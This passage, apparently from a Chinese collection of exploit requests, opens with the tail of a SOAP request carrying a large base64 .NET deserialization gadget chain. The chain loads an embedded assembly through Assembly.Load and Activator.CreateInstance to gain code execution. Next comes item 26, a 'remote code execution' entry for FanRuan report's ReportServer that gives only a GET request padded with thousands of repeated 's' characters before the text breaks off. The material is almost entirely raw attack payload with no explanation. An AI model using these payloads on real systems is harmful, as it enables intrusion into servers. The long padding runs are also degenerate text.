9uAAAAD2MAbQBkAC4AZQB4AGUAAAdjAG0AZAAAABy8AYwAgAAAAAAA2IZXU/G1oT7AM+EyvNp
dOAAi3elxWGTTgiQMgAAEEIAEBCAiwP19/EdUKOgQAABIRBCAAEhUEIAASGQQgABIhBCABAQ4EI
AASJQQgABIpBCABDg4FAAIODg4EIAEBAgMgAAIEIAASMQMgAA4IBwQSERIdDg4IAQAIAAAAAAAe
AQABAFQCFldyYXBOb25FeGNlcHRpb25UaHJvd3MBAAAAuCYAAAAAAAAAAAAAAziYAAAAgAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAMAmAAAAAAAAAABfQ29yRGxsTWFpbgBtc2NvcmVlLmRsbAAA
AAAA/yUAIAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAAAEAAAA
AAEgAAABYQAAATAIAAAAAAAAAAAAAATAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8
AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAIAAAAAAAAAAAAAAAA
AAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBs
AGEAdABpAG8AbgAAAAAAAACwBKwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbw
AAAIgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGk
AcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAw
AC4AMAAuADAALgAwAAAAPAANAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABrAHcAdQB
3AGEAYwBwAHcALgBkAGwAbAAAAAAAKAACAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaA
B0AAAAIAAAAEQADQABAE8AcgBpAGcAaQBuAGEAbABGAGkAbABlAG4AYQBtAGUAAABrAHcAdQ
B3AGEAYwBwAHcALgBkAGwAbAAAAAAANAAIAAEAUAByAG8AZAB1AGMAdABWAGUAcgBzAGkA
bwBuAAAAMAAuADAALgAwAC4AMAAAADgACAABAEEAcwBzAGUAbQBiAGwAeQAgAFYAZQByAH
MAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAACAAAAwAAADgNgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAEDwAAAB9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9s
ZGVyAwAAAAREYXRhCVVuaXR5VHlwZQxBc3NlbWJseU5hbWUBAAEIBiEAAAD+AVN5c3RlbS5Ma
W5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkJ5dGVb
XSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb
2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLC
BWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjN
TYxOTM0ZTA4OV1dBAAAAAYiAAAATlN5c3RlbS5Db3JlLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1c
mU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAQAAAABwAAAAkDAA
AACgkkAAAACggIAAAAAAoICAEAAAABEQAAAA8AAAAGJQAAAPUCU3lzdGVtLkxpbnEuRW51bWV
yYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uUmVmbGVjdGlvbi5
Bc3NlbWJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJs
aWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuS
UVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bH
R1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYi
wgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU
2MTkzNGUwODldXQQAAAAJIgAAABASAAAABwAAAAkEAAAACgkoAAAACggIAAAAAAoICAEAAAA
BEwAAAA8AAAAGKQAAAN8DU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lc
mFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWA
xW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmF
sLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQu
MC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0s
W1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2
NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI
3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV
0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQFAAAAAcAA
AAJBQAAAAoJLAAAAAoICAAAAAAKCAgBAAAAARUAAAAPAAAABi0AAADmAlN5c3RlbS5MaW5xLk
VudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb2
5zLkdlbmVyaWMuSUVudW1lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQ
uMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV
1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRv
a2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4w
LjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0
EAAAACSIAAAAQFgAAAAcAAAAJBgAAAAkwAAAACTEAAAAKCAgAAAAACggIAQAAAAEXAAAADwA
AAAYyAAAA7wFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJ
hdG9yYDJbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ld

XRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uT2JqZWN0LCBtc
2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPW
I3N2E1YzU2MTkzNGUwODldXQQAAAAJIgAAABAYAAAABwAAAAkHAAAACgk1AAAACggIAAAAAAo
ICAEAAAABGQAAAA8AAAAGNgAAAClTeXN0ZW0uV2ViLlVJLldlYkNvbnRyb2xzLlBhZ2VkRGF0YVNvd
XJjZQQAAAAGNwAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1d
HJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYRAaAAAABwAAAAkIAAAACAgAAA
AACAgKAAAACAEACAEACAEACAgAAAAAARsAAAAPAAAABjkAAAApU3lzdGVtLkNvbXBvbmVudE1v
ZGVsLkRlc2lnbi5EZXNpZ25lclZlcmIEAAAABjoAAABJU3lzdGVtLCBWZXJzaW9uPTQuMC4wLjAsIEN1b
HR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4ORAcAAAABQAAAA0
CCTsAAAAICAMAAAAJCwAAAAEdAAAADwAAAAY9AAAANFN5c3RlbS5SdW50aW1lLlJlbW90aW5n
LkNoYW5uZWxzLkFnZ3JlZ2F0ZURpY3Rpb25hcnkEAAAABj4AAABLbXNjb3JsaWIsIFZlcnNpb249NC4
wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5EB
4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJ
AAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXR
ob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c
3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEo
AAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAA
AAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJ
TwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRye
QcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOY
W1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWF
saXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAADVAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5CeX
RlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2
V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2
NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI
3N2E1YzU2MTkzNGUwODldXQk+AAAACgk+AAAABlIAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1i
bHkGUwAAAARMb2FkCgRDAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpem
F0aW9uSG9sZGVyBwAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlClNpZ2
5hdHVyZTIKTWVtYmVyVHlwZRBHZW5lcmljQXJndW1lbnRzAQEBAQEAAwgNU3lzdGVtLlR5cGVbXQ
lTAAAACT4AAAAJUgAAAAZWAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0Z
VtdKQZXAAAALlN5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoU3lzdGVtLkJ5dGVbXSkIAAA
ACgFEAAAAQgAAAAZYAAAAzAJTeXN0ZW0uRnVuY2AyW1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlYb
WJseSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZ
XlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVud
W1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cm
U9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVm
Vyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkz
NGUwODldXQk+AAAACgk+AAAACVIAAAAGWwAAAAhHZXRUeXBlcwoBRQAAAEMAAAAJWwAAA
Ak+AAAACVIAAAAGXgAAABhTeXN0ZW0uVHlwZVtdIEdldFR5cGVzKCkGXwAAABhTeXN0ZW0uVHl
wZVtdIEdldFR5cGVzKCkIAAAACgFGAAAAQgAAAAZgAAAAtgNTeXN0ZW0uRnVuY2AyW1tTeXN0ZW
0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3Jsa
WIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNW
M1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhb
CwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZ

W5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wL
CBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNj
b3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNz
dhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZiAAAAhAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2V
uZXJpYy5JRW51bWVyYWJsZWAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjA
uMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0GY
wAAAA1HZXRFbnVtZXJhdG9yCgFHAAAAQwAAAAljAAAACT4AAAAJYgAAAAZmAAAARVN5c3RlbS5
Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbU3lzdGVtLlR5cGVdIEdldEVudW1lcmF0b3I
oKQZnAAAAlAFTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0Z
W0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsa
WNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0gR2V0RW51bWVyYXRvcigpCAAAAAoBSAAAAEIA
AAAGaAAAAMACU3lzdGVtLkZ1bmNgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1
lcmF0b3JgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9b
mV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2
lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGU
wODldLFtTeXN0ZW0uQm9vbGVhbiwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1
uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JPgAAAAoJPgAAAAZqAA
AAHlN5c3RlbS5Db2xsZWN0aW9ucy5JRW51bWVyYXRvcgZrAAAACE1vdmVOZXh0CgFJAAAAQwAA
AAlrAAAACT4AAAAJagAAAAZuAAAAEkJvb2xlYW4gTW92ZU5leHQoKQZvAAAAGVN5c3RlbS5Cb29s
ZWFuIE1vdmVOZXh0KCkIAAAACgFKAAAAQgAAAAZwAAAAvQJTeXN0ZW0uRnVuY2AyW1tTeXN0Z
W0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3J
saWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhN
WM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJ
hbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5UeXBlLCBtc2NvcmxpY
iwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1Yz
U2MTkzNGUwODldXQk+AAAACgk+AAAABnIAAACEAVN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmlj
LklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdW
x0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQZzAAAAC2dldF9
DdXJyZW50CgFLAAAAQwAAAAlzAAAACT4AAAAJcgAAAAZ2AAAAGVN5c3RlbS5UeXBlIGdldF9DdXJ
yZW50KCkGdwAAABlTeXN0ZW0uVHlwZSBnZXRfQ3VycmVudCgpCAAAAAoBTAAAAEIAAAAGeAAA
AMYBU3lzdGVtLkZ1bmNgMltbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIE
N1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3Rlb
S5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVib
GljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dCT4AAAAKCT4AAAAGegAAABBTeXN0ZW0uQWN
0aXZhdG9yBnsAAAAOQ3JlYXRlSW5zdGFuY2UKAU0AAABDAAAACXsAAAAJPgAAAAl6AAAABn4AA
AApU3lzdGVtLk9iamVjdCBDcmVhdGVJbnN0YW5jZShTeXN0ZW0uVHlwZSkGfwAAAClTeXN0ZW0uT
2JqZWN0IENyZWF0ZUluc3RhbmNlKFN5c3RlbS5UeXBlKQgAAAAKAU4AAAAPAAAABoAAAAAmU3l
zdGVtLkNvbXBvbmVudE1vZGVsLkRlc2lnbi5Db21tYW5kSUQEAAAACToAAAAQTwAAAAIAAAAJggA
AAAgIACAAAASCAAAAC1N5c3RlbS5HdWlkCwAAAJfYQJfYgJfYwJfZAJfZQJfZgJfZwJfaAJfaQJfagJfaw
AAAAAAAAAAAAAACAcHAgICAgICAgITE9J07irREYv7AKDJDyb3Cws=</strFormAssignment>
<isBase>0</isBase>
</GetChildFormAndEntityList>
</soap:Body>
</soap:Envelope>

26. 帆软报表/webroot/decision/view/ReportServer 远程代码执行漏洞

```
GET
/webroot/decision/view/ReportServer?test=ssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
```

sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss
